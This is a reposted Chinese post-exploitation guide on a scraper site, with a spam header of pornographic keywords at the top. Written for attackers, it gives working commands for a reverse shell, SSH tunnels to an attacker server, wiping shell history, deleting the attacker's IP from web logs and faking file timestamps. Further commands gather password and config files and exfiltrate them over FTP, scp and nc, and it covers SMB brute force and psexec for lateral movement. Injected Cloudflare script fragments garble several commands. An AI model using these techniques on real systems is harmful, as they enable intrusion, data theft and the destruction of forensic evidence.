日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

各种环境下的渗透测试

發布時間:2023/12/18 编程问答 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 各种环境下的渗透测试 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

轉載來源:http://drops.wooyun.org/tips/411

getshell:


找到切入點后,首先是要彈個shell,一般我用back.py

配合nc使用,nc監聽端口就不說了。

back.py會自動去掉各種history記錄,確保shell斷掉的時候不會被記錄到bash_history里面

ssh各種姿勢


反彈內網端口:

ssh有幾個比較重要的參數:

-f: 連接成功后切換到后臺,不會占用當前的shell,shell斷了也會繼續執行,相當于 nohup和&。 -N: 連接后不調用shell,用處后面講。 -R:把本地網絡(可以是本機或者任何內網甚至外網端口)端口反彈到ssh服務器

用法:

首先你要有個外網ip的ssh服務器,如果目標內網限制了訪問端口,可以開到常見端口比如80或者443上面,可以直接改設置或者iptables映射一下。你需要有這個服務器的root權限。在sshd_config里面打開端口轉發, AllowTcpForwarding yes 還有 Gateway Ports,如果之前沒開的話改完需要重啟一下sshd。

另外就是因為反彈端口需要讓目標機器登錄到你的ssh服務器,為了安全起見需要建立一個專門用來端口轉發的用戶,useradd隨便建個用戶,設置密碼然后到/etc/passwd里面,把最后一個':'后面的shell位置改成/sbin/nologin或者/bin/false,這樣即使對方記錄了你的ssh密碼也沒法對你轉發的服務器做什么(比如取證之類)

-N的作用:

因為轉發用的用戶沒有shell,如果沒有-N的話會因為得不到shell而自動斷開連接,-N可以避免這一點。

開始轉發:

ssh -fNR 要反彈到的端口:目標本機或者內外ip:要反彈的目標端口 轉發專用用戶名@你的ssh服務器ip 執行后會問你轉發用戶名的密碼,輸入成功后會自動切換到后臺

例子1:

本地轉發: 目標機器上有個oracle端口在1521,但是只能從內網訪問。提權提不上,沒裝sqlplus等工具,webshell數據庫管理各種出錯,不過翻到了登錄用戶名和密碼。不過我自己的機器上裝了個navicat for oracle?? ssh服務器上的端口轉發用戶名叫forward,服務器ip是123.123.123.123

ssh -fNR 11521:127.0.0.1:1521 forward@123.123.123.123 /* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */

?

注意:之所以開到11521端口是因為<1024的端口需要root權限才能占用,另外注意你反彈到服務器的端口不能被iptables之類的擋住,不然你沒法從外網訪問(廢話么)

反彈成功后,打開navicat,新建個連接,ip輸入123.123.123.123,端口輸入11521,然后用戶名和密碼,啪啪啪??連上了

例子2:

內網ip轉發: 除了能轉發localhost,還能轉發內網其他ip的端口,甚至在不同網段都行,只要能從內網的已淪陷機器訪問到就行。比如內網有個windows服務器,ip 192.168.5.10, 開了3389端口,不過也只能在內網訪問??

ssh -fNR 13389:192.168.5.10:3389 forward@123.123.123.123 /* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */

?

反彈成功后mstsc連123.123.123.123:13389即可??

ssh轉發端口是可以多開的,就是要注意轉發到你服務器的端口不要重了。

用完之后記得關掉:

ps aux|grep ssh

?

在進程里可以看到ssh的轉發命令,把pid kill了就行。另外也可以在ssh服務器端kill,

netstat -anp|grep sshd

?

ssh的時候會記錄known_hosts,所以最后擦屁股的時候記得到開ssh的用戶名的home文件夾 .ssh里面把known_hosts清掉

ssh反彈socks5方法

如果用ssh自帶的socks5服務器的話,需要一個能在本地登錄的帳號,可以是nologin的,但是必須要能登錄,如果不是root的話,socks端口只能開到>1024的端口。原理是先在本地開socks5,然后把本地socks5服務器的端口彈到遠程服務器。

姿勢:

ssh -fND 127.0.0.1:8080 user@127.0.0.1 /* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */

?

這樣會在本地8080端口開socks5代理,然后反彈

ssh -fNR 18080:127.0.0.1:8080 forward@123.123.123.123 /* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */

?

這樣可以把socks5代理彈到123.123.123.123的18080端口,可以用proxychains和其他支持socks5代理的工具最大限度的窺探內網

Linux下隱藏痕跡


通過其他方式得到shell的話,需要去掉histfile等環境變量:

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;

?

登錄ssh后管理員用w查看當前登錄用戶,所以有必要隱藏,推薦xi4oyu的logtamper

清除日志里指定內容:

日志必須是文本格式,而且你有權限讀寫??

awk '!/pattern/' filename > temp && mv temp filename

?

這個原理說白了就是去掉原文件里的指定內容然后生成新文件,再用新的覆蓋舊的,弄完記得用chmod還原原來的屬性. 例子:

awk '!/123.123.123.123/' /var/log/httpd/access_log > temp && mv temp /var/log/httpd/access_log

?

去掉所有包含123.123.123.123的日志記錄。 可以匹配多個關鍵詞:

awk '!/123.123.123.123|111.111.111.111|phpspy.php/' /var/log/httpd/access_log > temp && mv temp /var/log/httpd/access_log

?

修改文件訪問|創建|修改時間:

touch -amt 200901231532 文件名

改成2009年1月23號15點32分

批量修改時間:

比如你在一個文件夾改了很多php插了一堆一句話:

ls|xargs touch -amt 200901231532

?

把當前目錄所有文件時間都改了

信息搜集:

find / ! -path "/usr/share/*" -regex ".*.sh$|.*.pl$|.*.py$|.*.conf$|.*.cnf$|.*.ini$|.*\/..*history$|.*\/..*pass.*$|.*secret$" -print|zip pack.zip -@

打包各種腳本和配置文件還有history日志。 有的環境下zip需要一些參數才能用,請自行修改

在/var/www搜集全部?conf.php然后打包

find /var/www -name '*conf*.php' -print | zip config.zip -@

?

找包含特定內容的文件并且那一行顯示出來:

grep -RPa --include=*.php ’($PATTERNS)‘ $SEARCH_DIR

?

比如在web目錄找包含password這個詞的所有php

grep -RPa --include=*.php 'password' /var/www

?

pattern可以用正則,可以不指定文件類型(很慢??)

文件傳送:


找到需要的東西后,怎么往外發也是個問題,一般大文件用ftp,scp,小文件用nc。

ftp方法:

如果目標裝了curl的話就很簡單了

curl -v -T 文件名 ftp://username:password@ftpip

scp方法:

適合有ids之類東西的地方,可以把sshd開到443等傳統加密流量的接口,scp帳號需要有寫入和執行shell的權限

scp backup.tgz user@123.123.123.123 /* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */:/tmp/backup.tgz

?

nc方法:

先在服務端監聽

nc -l port > 文件名

然后到要發送文件的服務器

nc 服務端ip 端口 < 文件名

發送小文件還行,大文件有時候會斷。

從linux到windows


有些時候你拿了linux服務器的shell,想跨到windows的機器上,基本就是通過兩個手段,一個是針對windows的服務進行exploit溢出,還有就是利用在linux上搜集的用戶名和密碼然后通過psexec放shell。

首先要確定windows主機的位置和打開的服務,在內網掃開445和3389的機器,基本是windows了,掃的時候要注意,不管用什么工具,盡量用socket connect的方式掃。像SYN 方式掃描如果內網有ids之類肯定會被發現,connect方式掃描相對來說和正常連接差不多。 掃到windows機器列表后,準備好剛才在linux下收集的各種用戶名和密碼,還有一些常見的弱密碼,生成密碼字典和用戶名字典,字典里再加上一些windows本身的用戶名,比如administrator。 嘗試密碼的話直接在linux下用hydra,破解smb密碼,運氣好的話,只要掃出一個,就能用psexec getshell了。運氣不好就剩下溢出這一條路了。如果溢出都不行,windows主機和linux在同一個網段的話,還可以試試通過arp spoof抓smb認證包,然后把hash弄出來破解或者注入hash,但是動靜會比較大,不到最后不建議使用。

psexec:

有幾種選擇,metasploit里面auxiliary里面的psexec模塊,可以直接放個msf的reverse paylaod上去。另外可以把windows的服務器的445端口反彈出來,再找個windows的機器用psexec。還有就是直接在內網的linux機器上用python的psexec,https://code.google.com/p/impacket/

轉載于:https://www.cnblogs.com/BuildingHome/p/4616515.html

總結

以上是生活随笔為你收集整理的各种环境下的渗透测试的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。